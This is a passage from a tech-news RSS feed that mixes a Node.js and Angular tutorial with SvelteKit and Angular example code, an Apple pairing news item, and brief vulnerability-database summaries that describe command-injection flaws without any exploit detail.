    </div>
    <div>
      <h1>Dog Breed Profile</h1>
      <p>Breed Name: <strong>{{ dog.breed }}</strong></p>
    </div>
  </div>


</code></pre>



<h3 class="wp-block-heading">SvelteKit</h3>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/2337758/intro-to-sveltekit-10-the-full-stack-framework-for-svelte.html">SvelteKit</a> is the full-stack framework for the Svelte front end. It’s similar to Next and Nuxt, with the main difference being the front-end technology.</p>



<p class="wp-block-paragraph">In SvelteKit, a back-end route looks like so:</p>



<pre class="wp-block-code"><code>// src/routes/api/dogs/[id]/+server.js

import { json, error } from '@sveltejs/kit';

// This is our data source for the example.
const dogBreeds = [
  "Shih Tzu",
  "Australian Cattle Dog",
  "Great Pyrenees",
  "Tibetan Mastiff",
];

/** @type {import('./$types').RequestHandler} */
export function GET({ params }) {
  // The 'id' comes from the [id] directory name.
  const id = parseInt(params.id, 10);

  if (id &gt;= 0 &amp;&amp; id &lt; dogBreeds.length) {
    // The json() helper creates a valid JSON response.
    return json({ breed: dogBreeds[id] });
  }

  // The error() helper is the idiomatic way to return HTTP errors.
  throw error(404, 'Dog breed not found');
}</code></pre>



<p class="wp-block-paragraph">SvelteKit usually splits the UI into two components. The first component is for loading the data (which can then be run on the server):</p>



<pre class="wp-block-code"><code>// src/routes/dogs/[id]/+page.js

import { error } from '@sveltejs/kit';

/** @type {import('./$types').PageLoad} */
export async function load({ params, fetch }) {
  // Use the SvelteKit-provided `fetch` to call our API endpoint.
  const response = await fetch(`/api/dogs/${params.id}`);

  if (response.ok) {
    const dog = await response.json();
    // The object returned here is passed as the 'data' prop to the page.
    return {
      dog: dog
    };
  }

  // If the API returns an error, forward it to the user.
  throw error(response.status, 'Dog breed not found');
}</code></pre>



<p class="wp-block-paragraph">The second component is the UI:</p>



<pre class="wp-block-code"><code>// src/routes/dogs/[id]/+page.svelte



<div>
  <h1>Dog Breed Profile</h1>
  <p>Breed Name: <strong>{data.dog.breed}</strong></p>
</div></code></pre>



<h2 class="wp-block-heading">Conclusion</h2>



<p class="wp-block-paragraph">The Node.js ecosystem has moved beyond the “default-to-Express” days. Now, it is worth your time to look for a framework that fits your specific situation.<br><br>If you are building <a href="https://www.infoworld.com/article/2263327/what-are-microservices-your-next-software-architecture.html">microservices</a> or high-performance APIs, where every millisecond counts, you owe it to yourself to look at minimalist frameworks like Fastify or Hono. This class of frameworks gives you raw speed and total control without requiring decisions about infrastructure.<br><br>If you are building an enterprise monolith or working with a big team, batteries-included frameworks like Nest or Adonis offer useful structure. The complexity of the initial setup buys you long-term maintainability and makes the codebase more standardized for new developers.<br><br>Finally, if your project is a content-rich web application, full-stack meta-frameworks like Next, Nuxt, and SvelteKit offer the best developer experience and the perfect profile of tools.<br><br>It’s also worth noting that, while Node remains the standard server-side runtime, alternatives <a href="https://www.infoworld.com/article/2256205/what-is-deno-a-better-nodejs.html">Deno</a> and <a href="https://www.infoworld.com/article/2338008/explore-bunjs-the-all-in-one-javascript-runtime.html">Bun</a> have both made a name for themselves. Deno has great heritage, is open source with a strong security focus, and has its own framework, <a href="https://www.infoworld.com/article/3523813/intro-to-deno-fresh-a-fresh-take-on-full-stack-javascript.html">Deno Fresh</a>. Bun is respected for its ultra-fast startup and integrated tooling.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Get started with Angular: Introducing the modern reactive workflow]]></title>
<description><![CDATA[Angular is a cohesive, all-in-one reactive framework for web development. It is one of the larger reactive frameworks, focused on being a single architectural system that handles all your web development needs under one idiom. While Angular was long criticized for being heavyweight as compared to...]]></description>
<link>https://tsecurity.de/de/3665664/ai-nachrichten/get-started-with-angular-introducing-the-modern-reactive-workflow/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665664/ai-nachrichten/get-started-with-angular-introducing-the-modern-reactive-workflow/</guid>
<pubDate>Mon, 13 Jul 2026 17:04:25 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Angular is a cohesive, all-in-one <a href="https://www.infoworld.com/article/3962039/what-you-need-to-know-about-angular-react-vue-and-svelte-popular-javascript-frameworks-compared.html">reactive framework</a> for web development. It is one of the larger reactive frameworks, focused on being a single architectural system that handles all your web development needs under one idiom. While Angular was long criticized for being heavyweight as compared to <a href="https://www.infoworld.com/article/2253289/react-tutorial-get-started-with-the-reactjs-javascript-library.html">React</a>, many of those issues <a href="https://www.infoworld.com/article/3964105/catching-up-with-angular-19.html">were addressed in Angular 19</a>. Modern Angular is built around the <a href="https://blog.angular-university.io/angular-signals">Signals API</a> and minimal formality, while still delivering a one-stop-shop that includes dependency injection and integrated routing.</p>



<p class="wp-block-paragraph">Angular is popular with the enterprise because of its stable, curated nature, but it is becoming more attractive to the wider developer community thanks to its more <a href="https://www.infoworld.com/article/3802707/angular-team-unveils-strategy-for-2025.html">community engaged development philosophy</a>. That, along with its recent technical evolution, make Angular one of the most interesting projects to watch right now.</p>



<h2 class="wp-block-heading">Why choose Angular?</h2>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/2336227/whats-the-best-javascript-framework.html">Choosing a JavaScript development framework</a> sometimes feels like a philosophical debate, but it should be a practical decision. Angular is unique because it is strongly opinionated. It doesn’t just give you a view layer; it provides a complete toolkit for building web applications.</p>



<p class="wp-block-paragraph">Like other reactive frameworks, Angular is built around its reactive engine, which lets you bind state (variables) to the view. But if that’s all you needed, one of the smaller, more focused frameworks would be more than enough. What Angular has that some of these other frameworks don’t is its ability to use data binding to automatically synchronize data from your user interface (UI) with your JavaScript objects. Angular also leverages dependency injection and inversion of control to help structure your application and make it easier to test. And it contains more advanced features like server-side rendering (SSR) and static-site generation (SSG) within itself, rather than requiring you to engage a <a href="https://www.infoworld.com/article/3831686/plug-and-play-web-development-with-astro-js.html">meta-framework</a> for either style of development.</p>



<p class="wp-block-paragraph">While Angular might not be your top choice for every occasion, it’s an excellent option for larger projects that require features you won’t get with a more lightweight framework.</p>



<p class="wp-block-paragraph"><strong>Also see: <a href="https://www.infoworld.com/article/3964105/catching-up-with-angular-19.html" data-type="link" data-id="https://www.infoworld.com/article/3964105/catching-up-with-angular-19.html">Catching up with Angular 19</a>.</strong></p>



<h2 class="wp-block-heading">Getting started with Angular</h2>



<p class="wp-block-paragraph">With those concepts in mind, let’s set up Angular in your development environment. After that, we can run through developing a web application with Angular. To start, make sure you have Node and NPM installed. From the command line, enter:</p>



<pre class="wp-block-code"><code>$ node -v
$ npm -v</code></pre>



<p class="wp-block-paragraph">Next, you can use the Angular CLI to launch a new app:</p>



<pre class="wp-block-code"><code>$ ng new iw-ng</code></pre>



<p class="wp-block-paragraph">You can use the defaults in your responses to the interactive prompts shown here:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/01/angular1.png?w=1024" alt="A screenshot of a new project setup in the Angular command-line interface." class="wp-image-4123771" width="1024" height="413" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Matthew Tyson</p></div>



<p class="wp-block-paragraph">We now have a basic project layout in the new directory, which you can import into an IDE (such as <a href="https://www.infoworld.com/article/2254808/get-started-with-visual-studio-code.html" data-type="link" data-id="https://www.infoworld.com/article/2254808/get-started-with-visual-studio-code.html">VS Code</a>) or edit directly.</p>



<p class="wp-block-paragraph">Looking at the project layout, you might notice it is fairly lean, a break from Angular projects of the past. The most important parts are:</p>



<ul class="wp-block-list">
<li><code>src/main.ts</code>: This is the main entry point. In older versions of Angular, this file had to bootstrap a module, which then bootstrapped a component. Now, it avoids any verbose syntax, calling bootstrapApplication with your root component directly.</li>



<li><code>src/index.html</code>: The main HTML page that hosts your application. This is the standard index.html that serves all root requests in a web page and contains the  tag where your Angular component will render. It is the “body” that the “spirit” of your code animates.</li>



<li><code>src/app/app.ts</code>: The root component of your application. This single file defines the view logic and the component metadata. In the new “standalone” world, it manages its own imports, meaning you can see exactly what dependencies it uses right at the top of the file. (This is the <code></code> root element that appears in <code>src/index.html</code>.)</li>



<li><code>src/app/app.config.ts</code>: This file is new in modern Angular and replaces the old A<code>ppModule providers</code> array. It is where you configure global services, like the router or HTTP client.</li>



<li><code>angular.json</code>: The configuration file for the CLI itself. It tells the build tools how to process your code, though you will rarely need to touch this file manually anymore.</li>
</ul>



<p class="wp-block-paragraph">Here is the basic flow of how the engine renders these components:</p>



<ol start="1" class="wp-block-list">
<li><strong>The arrival (HTML)</strong>: The browser receives <code>index.html</code>. The <code></code> tag is there, but it’s empty.</li>



<li><strong>The unpacking (JavaScript)</strong>: The browser sees the <code></code> tags at the bottom of the HTML and downloads the JavaScript bundles (your compiled code) from <code>src/app/app.ts</code>.</li>



<li><strong>The assembly (Bootstrap)</strong>: The browser runs that JavaScript. The code “wakes up,” finds the <code></code> tag in the DOM, and dynamically inserts your title, buttons, and lists.</li>
</ol>



<p class="wp-block-paragraph">This flow will be different if you are using server-side rendering (SSR), but we’ll leave that option aside for now. Now that you’ve seen the basic architecture, let’s get into the code.</p>



<h2 class="wp-block-heading">Developing your first web app in Angular</h2>



<p class="wp-block-paragraph">If you open <code>src/app/app.ts</code> (more info <a href="http://app.ts/">here</a>) the component definition looks like this:</p>



<pre class="wp-block-code"><code>import { Component, signal } from '@angular/core';
import { RouterOutlet } from '@angular/router';

@Component({
  selector: 'app-root',
  imports: [RouterOutlet],
  templateUrl: './app.html',
  styleUrl: './app.css'
})
export class App {
  protected readonly title = signal('iw-ng');
}</code></pre>



<p class="wp-block-paragraph">Before we dissect the code, let’s run the app and see what it produces:</p>



<pre class="wp-block-code"><code>$ ng serve</code></pre>



<p class="wp-block-paragraph">You should see a page like this one at <code>localhost:4200</code>:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/01/angular2.png?w=1024" alt="A screenshot of a Hello, World! app built with Angular." class="wp-image-4123772" width="1024" height="585" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Matthew Tyson</p></div>



<p class="wp-block-paragraph">Returning to the <code>src/app.ts</code> component, notice that there are three main parts of the definition: the class, the metadata, and the view. Let’s unpack these separately.</p>



<h3 class="wp-block-heading">The class (export class App)</h3>



<p class="wp-block-paragraph">Export class <code>App</code> is vanilla TypeScript that holds your component’s data and logic. In our example, <code>title = signal(‘iw-ng’)</code> defines a piece of reactive state. Unlike older versions of Angular where data was just a plain property, here we use a <a href="https://www.solidjs.com/tutorial/introduction_signals">signal</a>. Signals are wrappers around values that notify the template precisely when they change, enabling fine-grained performance.</p>



<h3 class="wp-block-heading">The metadata (@Component)</h3>



<p class="wp-block-paragraph">The <code>@Component</code> decorator tells Angular it is dealing with a component, not just a generic class. There are several elements involved in the decorator’s communication with the engine:</p>



<ul class="wp-block-list">
<li><code>selector: 'app-root'</code>: Defines the custom HTML tag associated with any given component. Angular finds <code></code> in your <code>index.html</code> and renders the component there.</li>



<li><code>imports</code>: In the new Angular era, dependencies are explicit. You list exactly what a component needs (like <code>RouterOutlet</code> or other components) here, rather than hiding them in a separate module file.</li>



<li><code>templateUrl</code>: Points to the external HTML file that defines the view.</li>
</ul>



<h3 class="wp-block-heading">The view (the template)</h3>



<p class="wp-block-paragraph">This is the visual part of the component, defined in <code>app.html</code>. It combines standard HTML with Angular’s template syntax. (JSX handles this part for React-based apps.)</p>



<p class="wp-block-paragraph">We can modify <code>src/app/app.html</code> to see how these three elements work together. To start, delete the default content and add the following:</p>



<pre class="wp-block-code"><code><h1>Hello, {{ title() }}</h1>
</code></pre>



<p class="wp-block-paragraph">The double curly braces <code>{{ }}</code> are called <a href="https://angular.dev/guide/templates/binding">interpolation</a>. Notice the parentheses in <code>title()</code>. We are reading the “title” signal value by calling its function. If you were to update that signal programmatically (e.g., <code>this.title.set('New Value')</code>), the text on the screen would update instantly.</p>



<h2 class="wp-block-heading">Angular’s built-in control flow</h2>



<p class="wp-block-paragraph">Old-school Angular required “structural directives” like <code>*ngIf</code> and <code>*ngFor</code> logic control. These were powerful but required importing <code>CommonModule</code> and learning a specific micro-syntax. Modern Angular uses a built-in control flow that looks like standard JavaScript (similar to other Reactive platforms).</p>



<p class="wp-block-paragraph">To see the new control flow in action, let’s add a list to our component. Update <code>src/app/app.ts</code> as follows, leaving the rest of the file the same:</p>



<pre class="wp-block-code"><code>export class App {
  protected readonly title = signal('iw-ng');
  protected readonly frameworks = signal(['Angular', 'React', 'Vue', 'Svelte']);
  protected showList = signal(true);

  toggleList() {
    this.showList.update(v =&gt; !v);
  }
}</code></pre>



<p class="wp-block-paragraph">While we’re at it, let’s also update <code>src/app/app.html</code> to render this new list (don’t worry about <code></code> for now; it just tells Angular where to render the framing template):</p>



<pre class="wp-block-code"><code><button>Toggle List</button>

@if (showList()) {
  <ul>
    @for (tech of frameworks(); track tech) {
      <li>{{ tech }}</li>
    }
  </ul>
} @else {
  <p>List is hidden</p>
}

</code></pre>



<p class="wp-block-paragraph">The app will now display a list that can be toggled for visibility:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/01/angular3.png?w=1024" alt="Screenshot of a list that can be toggled on and off for visibility." class="wp-image-4123773" width="1024" height="585" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Matthew Tyson</p></div>



<p class="wp-block-paragraph">This syntax is cleaner and easier to read than the old <code>*ngFor</code> loops:</p>



<ul class="wp-block-list">
<li><code>@if</code> conditionally renders the block if the signal’s value is true.</li>



<li><code>@for</code> iterates over the array. The track keyword is required for performance (it tells Angular how to identify unique items in the list).</li>



<li><code>(click)</code> is an <a href="https://angular.dev/guide/templates/event-listeners">event binding</a>. It lets us run code (the <code>toggleList</code> method) when the user interacts with the button.</li>
</ul>



<h2 class="wp-block-heading">Services: Managing business logic in Angular</h2>



<p class="wp-block-paragraph">Components focus on the view (i.e., what you see). For the business logic that backs the application functionality, we use services.</p>



<p class="wp-block-paragraph">A service is just a class that can be “injected” into a component that needs it. This is Angular’s famous dependency injection system. It allows you to write logic once and reuse it anywhere. It’s a slightly different way of thinking about how an application is wired together, but it gives you real organizational benefits over time.</p>



<p class="wp-block-paragraph">To generate a service, you can use the CLI:</p>



<pre class="wp-block-code"><code>$ ng generate service frameworks</code></pre>



<p class="wp-block-paragraph">This command creates a <code>src/app/hero.ts</code> file. In modern Angular, we define services using the <code>@Injectable</code> decorator. Currently, the <code>src/app/hero.ts</code> file just has this:</p>



<pre class="wp-block-code"><code>import { Injectable } from '@angular/core';

@Injectable({
  providedIn: 'root',
})
export class Frameworks {
  
}</code></pre>



<p class="wp-block-paragraph">Open the file and add a simple method to return our data:</p>



<pre class="wp-block-code"><code>import { Injectable } from '@angular/core';

@Injectable({
  providedIn: 'root', // Available everywhere in the app
})
export class Frameworks {
  getList() {
    return ['Angular', 'React', 'Vue', 'Svelte'];
  }
}</code></pre>



<p class="wp-block-paragraph">The providedIn: <code>'root'</code> metadata is important, it tells Angular to create a single, shared instance of this service for the entire application (you might recognize this as an instance of the <a href="https://en.wikipedia.org/wiki/Singleton_pattern">singleton pattern</a>).</p>



<h3 class="wp-block-heading">Using the service</h3>



<p class="wp-block-paragraph">In the past, we had to list dependencies in the constructor. Modern Angular offers a cleaner way: the <code>inject()</code> function. Subsequently, we can refactor our <code>src/app/app.ts</code> to get its data from the service instead of hardcoding it:</p>



<pre class="wp-block-code"><code>import { Component, inject, signal } from '@angular/core';
import { RouterOutlet } from '@angular/router';
import { Frameworks } from './frameworks'; // Import the service

@Component({
  selector: 'app-root',
  imports: [RouterOutlet],
  templateUrl: './app.html',
  styleUrl: './app.css'
})
export class App {
  private frameworksService = inject(Frameworks); // Dependency Injection
  
  protected readonly title = signal('iw-ng');
  
  // Initialize signal with data directly from the service
  protected readonly frameworks = signal(this.frameworksService.getList());
  protected showList = signal(true);

  toggleList() {
    this.showList.update(v =&gt; !v);
  }
}</code></pre>



<p class="wp-block-paragraph">Dependency injection is a powerful pattern. The component doesn’t need to know where the list came from (it could be coming from an API, a database, or a hard-coded array); it just asks the service for what it needs. This pattern adds a bit of extra work up front, but it delivers a more flexible, organized codebase as the app grows in size and complexity.</p>



<h2 class="wp-block-heading">Routers and routes</h2>



<p class="wp-block-paragraph">Once your application grows beyond a single view, you need a way to navigate between different screens. In Angular, we use the built-in router for this purpose. In our example project, <code>src/app/app.routes.ts </code>is the dedicated home for the router config. Let’s follow the steps for creating a new route.</p>



<p class="wp-block-paragraph">First, we define the route. When you open <code>src/app/app.routes.ts</code>, you will see an exported routes array. This array contains the available routes for your app. Each string name resolves to a component that handles rendering that route. In effect, this is the map of your application’s landscape.</p>



<p class="wp-block-paragraph">In a real application, you’d often have “framing template” material in the root of the app (like the navbar) and then the routes fill in the body content. (Remember that by default, Angular is designed for single-page apps, where navigation does reload the screen, but swaps content.)</p>



<p class="wp-block-paragraph">For now, let’s just get a sense of how the router works. First, create a new component so we have a destination to travel to. In your terminal, run:</p>



<pre class="wp-block-code"><code>$ ng generate component details</code></pre>



<p class="wp-block-paragraph">This will generate a simple <code>details</code> component in the <code>src/app/details</code> directory.</p>



<p class="wp-block-paragraph">Now we can update <code>src/app/app.routes.ts</code> to include this new path. We will also add a “default” path that redirects empty requests to the home view, ensuring the user always lands somewhere:</p>



<pre class="wp-block-code"><code>import { Routes } from '@angular/router';
import { App } from './app'; // Matches src/app/app.ts
import { Details } from './details/details'; // Matches src/app/details/details.ts

export const routes: Routes = [
  { path: '', redirectTo: '/home', pathMatch: 'full' },
  { path: 'home', component: App },
  { path: 'details', component: Details },
];</code></pre>



<p class="wp-block-paragraph">Now if you visit <code>localhost:4200/home</code>, you’ll get the message from the <code>details</code> component: “Details works!”</p>



<p class="wp-block-paragraph">Next, we’ll use the <code>routerLink</code> directive to move between views without refreshing the page. In <code>src/app/app.html</code>,  we create a navigation bar that sits permanently at the top of the page (the “stationary” element), while the router swaps the content below it (the “impermanent” element):</p>



<pre class="wp-block-code"><code><nav>
  <a>Home</a> | 
  <a>Details</a>
</nav>

<hr>

</code></pre>



<p class="wp-block-paragraph">And with that, the application has a navigation flow. The user clicks, the URL updates, and the content transforms, all without the jarring flicker of a browser reload.</p>



<h2 class="wp-block-heading">Parametrized routes</h2>



<p class="wp-block-paragraph">The last thing we’ll look at is handling route parameters, where the route accepts variables in the path. To manage this kind of dynamic data, you define a route with a variable, marked by a colon. Open <code>src/app/app.routes.ts</code> and add a dynamic path:</p>



<pre class="wp-block-code"><code>export const routes: Routes = [
  // ... existing routes
  { path: 'details/:id', component: Details }, 
];</code></pre>



<p class="wp-block-paragraph">The <code>:id</code> is a placeholder. Whether the URL is <code>/details/42</code> or <code>/details/108</code>, this router will receive it because it matches the path. Inside the details component, we have access to this parameter (using the <a href="https://angular.dev/api/router/ActivatedRoute">ActivatedRoute</a> service or the new <a href="https://angular.dev/api/router/withComponentInputBinding">withComponentInputBinding</a>). We can use that value to retrieve the data we need (like using it to recover a detail item from a database).</p>



<h2 class="wp-block-heading">Conclusion</h2>



<p class="wp-block-paragraph">We have seen the core elements of modern Angular: Setting up the environment, building reactive components with signals, organizing logic with services, and tying it all together with interactive routing.</p>



<p class="wp-block-paragraph">Deploying these pieces together is the basic work in Angular. Once you get comfortable with it, you have an extremely powerful platform at your fingertips. And, when you are ready to go deeper, there is a whole lot more to explore in Angular, including:</p>



<ul class="wp-block-list">
<li>State management: Beyond signals, Angular has support for managing complex, application-wide state.</li>



<li>Forms: Angular has a robust system for handling user input.</li>



<li>Signals: We only scratched the surface of signals here. Signals offer a powerful, fine-grained way to manage state changes.</li>



<li>Build: You can learn more about producing production builds.</li>



<li><a href="https://www.infoworld.com/article/3964105/catching-up-with-angular-19.html" data-type="link" data-id="https://www.infoworld.com/article/3964105/catching-up-with-angular-19.html">RxJS</a>: Takes reactive programming to the next level.</li>
</ul>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple Prepares AirPods-Style Pairing for Meta Glasses and Headsets]]></title>
<description><![CDATA[Apple is building a new tool that will allow third-party accessories to connect across your devices, just like its own audio products do today. This update means gear like the Ray-Ban glasses and Quest headsets from Meta could soon link to your iPhone and instantly become available on your iPad. ...]]></description>
<link>https://tsecurity.de/de/3665547/ios-mac-os/apple-prepares-airpods-style-pairing-for-meta-glasses-and-headsets/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665547/ios-mac-os/apple-prepares-airpods-style-pairing-for-meta-glasses-and-headsets/</guid>
<pubDate>Mon, 13 Jul 2026 16:24:14 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple is building a new tool that will allow third-party accessories to connect across your devices, just like its own audio products do today. This update means gear like the Ray-Ban glasses and Quest headsets from Meta could soon link to your iPhone and instantly become available on your iPad. The change stems from recent European tech regulations aimed at opening up closed software systems.



Apple responds to a request from Meta about easier pairing



In October 2025, Meta asked Apple to make its hardware easier to use across multiple screens. Under the European Union Digital Markets Act, the company requested that once a headset or pair of smart glasses connects to a single device, it should automatically work with a user's other screens without needing extra setup.



Apple responded in February, agreeing to build a secure way for third-party apps to handle this process. The new system will use cryptographic materials and require a one-time permission from the user for each accessory. This upgrade aims to give outside hardware the same instant connection treatment that the AirPods and Apple Watch already enjoy.



The new software update might arrive by spring next year



Development of this new pairing tool is expected to wrap up by spring 2027. It will likely roll out as an update to iOS 27, though the exact version number is not yet confirmed. The technology relies on infrastructure built to satisfy European Commission rules, meaning it currently only functions within the European Union.



Meta pointed out a catch with this approach. To use the new system, Meta would have to drop its standard Bluetooth setup, which it uses everywhere else in the world. The company asked to separate the two methods, but Apple declined for now.



However, Apple mentioned it is still thinking about bringing this quick pairing support to countries outside of Europe in the future.]]></content:encoded>
</item>
<item>
<title><![CDATA[The Security Camera Secret I Recommend Only for Certain Homes]]></title>
<description><![CDATA[I get asked about home security all the time. Here's when I personally recommend a wired PoE setup over standard wireless cameras.]]></description>
<link>https://tsecurity.de/de/3665014/it-nachrichten/the-security-camera-secret-i-recommend-only-for-certain-homes/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665014/it-nachrichten/the-security-camera-secret-i-recommend-only-for-certain-homes/</guid>
<pubDate>Mon, 13 Jul 2026 13:03:25 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[I get asked about home security all the time. Here's when I personally recommend a wired PoE setup over standard wireless cameras.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-26982 | ghostty up to 1.2.x Control Character os command injection (Nessus ID 326430 / CNNVD-202603-1961)]]></title>
<description><![CDATA[A vulnerability classified as critical has been found in ghostty up to 1.2.x. The impacted element is an unknown function of the component Control Character Handler. This manipulation causes os command injection.

This vulnerability appears as CVE-2026-26982. The attack may be initiated remotely....]]></description>
<link>https://tsecurity.de/de/3664930/sicherheitsluecken/cve-2026-26982-ghostty-up-to-12x-control-character-os-command-injection-nessus-id-326430-cnnvd-202603-1961/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3664930/sicherheitsluecken/cve-2026-26982-ghostty-up-to-12x-control-character-os-command-injection-nessus-id-326430-cnnvd-202603-1961/</guid>
<pubDate>Mon, 13 Jul 2026 12:22:03 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability classified as <a href="https://vuldb.com/kb/risk">critical</a> has been found in <a href="https://vuldb.com/product/ghostty">ghostty up to 1.2.x</a>. The impacted element is an unknown function of the component <em>Control Character Handler</em>. This manipulation causes os command injection.

This vulnerability appears as <a href="https://vuldb.com/cve/CVE-2026-26982">CVE-2026-26982</a>. The attack may be initiated remotely. There is no available exploit.

It is recommended to upgrade the affected component.]]></content:encoded>
</item>
<item>
<title><![CDATA[Someone Is Scanning for Your MCP Servers and AI Assistant Credentials, (Mon, Jul 13th)]]></title>
<description><![CDATA[The setup This article has been indexed from SANS Internet Storm Center, InfoCON: green Read the original article: Someone Is Scanning for Your MCP Servers and AI Assistant Credentials, (Mon, Jul 13th)
Read more →
The post Someone Is Scanning for Your MCP Servers and AI Assistant Credentials, (M...]]></description>
<link>https://tsecurity.de/de/3664212/it-security-nachrichten/someone-is-scanning-for-your-mcp-servers-and-ai-assistant-credentials-mon-jul-13th/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3664212/it-security-nachrichten/someone-is-scanning-for-your-mcp-servers-and-ai-assistant-credentials-mon-jul-13th/</guid>
<pubDate>Mon, 13 Jul 2026 06:37:58 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The setup This article has been indexed from SANS Internet Storm Center, InfoCON: green Read the original article: Someone Is Scanning for Your MCP Servers and AI Assistant Credentials, (Mon, Jul 13th)</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/someone-is-scanning-for-your-mcp-servers-and-ai-assistant-credentials-mon-jul-13th/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/someone-is-scanning-for-your-mcp-servers-and-ai-assistant-credentials-mon-jul-13th/">Someone Is Scanning for Your MCP Servers and AI Assistant Credentials, (Mon, Jul 13th)</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Someone Is Scanning for Your MCP Servers and AI Assistant Credentials, (Mon, Jul 13th)]]></title>
<description><![CDATA[The setup]]></description>
<link>https://tsecurity.de/de/3664190/it-security-nachrichten/someone-is-scanning-for-your-mcp-servers-and-ai-assistant-credentials-mon-jul-13th/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3664190/it-security-nachrichten/someone-is-scanning-for-your-mcp-servers-and-ai-assistant-credentials-mon-jul-13th/</guid>
<pubDate>Mon, 13 Jul 2026 06:22:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h1><strong><u>The setup</u></strong></h1>]]></content:encoded>
</item>
<item>
<title><![CDATA[Turtle Beach Command Series KB7 und KP7 im Test: Perfekt fürs Gaming-Setup?]]></title>
<description><![CDATA[Turtle Beach hatte Ende April 2026 seine neue Command Series vorgestellt. Dahinter verbirgt sich eine frische Modellreihe mit mächtiger Peripherie. Laut dem Hersteller soll es sich um die bisher fortschrittlichsten Mäuse und Tastaturen der Marke handeln. Man visiert mit jenen...Zum Beitrag: Turtl...]]></description>
<link>https://tsecurity.de/de/3663673/it-nachrichten/turtle-beach-command-series-kb7-und-kp7-im-test-perfekt-fuers-gaming-setup/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3663673/it-nachrichten/turtle-beach-command-series-kb7-und-kp7-im-test-perfekt-fuers-gaming-setup/</guid>
<pubDate>Sun, 12 Jul 2026 19:47:47 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Turtle Beach hatte Ende April 2026 seine neue Command Series vorgestellt. Dahinter verbirgt sich eine frische Modellreihe mit mächtiger Peripherie. Laut dem Hersteller soll es sich um die bisher fortschrittlichsten Mäuse und Tastaturen der Marke handeln. Man visiert mit jenen...<p>Zum Beitrag: <a href="https://stadt-bremerhaven.de/turtle-beach-command-series-kb7-und-kp7-im-test-perfekt-fuers-gaming-setup/">Turtle Beach Command Series KB7 und KP7 im Test: Perfekt fürs Gaming-Setup?</a>
</p><p>
Wo du uns folgen kannst:
<a href="http://www.facebook.com/CaschysBlog">Facebook</a>, <a href="https://www.reddit.com/r/CaschysBlog/">Reddit</a>, <a href="https://news.google.com/publications/CAAqMQgKIitDQklTR2dnTWFoWUtGSE4wWVdSMExXSnlaVzFsY21oaGRtVnVMbVJsS0FBUAE?ceid=DE:de&amp;oc=3">Google News</a>, <a href="https://x.com/CaschysBlog">X</a>, <a href="https://www.threads.com/@caschysblog">Threads</a>
<br>
</p><div>
    <strong>Auf dem Laufenden bleiben?</strong>
    <br>
    <a href="https://www.google.com/preferences/source?q=stadt-bremerhaven.de">Fügt uns doch bei Google als bevorzugte Quelle hinzu!</a>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-15481 | Trendnet TEW-635BRM up to 1.00.03 IPoA WAN Connection Setup /sbin/rc ipoa_test ipoa_ipaddr command injection (EUVD-2026-43203)]]></title>
<description><![CDATA[A vulnerability marked as critical has been reported in Trendnet TEW-635BRM up to 1.00.03. This vulnerability affects the function ipoa_test of the file /sbin/rc of the component IPoA WAN Connection Setup. Performing a manipulation of the argument ipoa_ipaddr results in command injection. This vu...]]></description>
<link>https://tsecurity.de/de/3663629/sicherheitsluecken/cve-2026-15481-trendnet-tew-635brm-up-to-10003-ipoa-wan-connection-setup-sbinrc-ipoatest-ipoaipaddr-command-injection-euvd-2026-43203/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3663629/sicherheitsluecken/cve-2026-15481-trendnet-tew-635brm-up-to-10003-ipoa-wan-connection-setup-sbinrc-ipoatest-ipoaipaddr-command-injection-euvd-2026-43203/</guid>
<pubDate>Sun, 12 Jul 2026 19:08:12 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
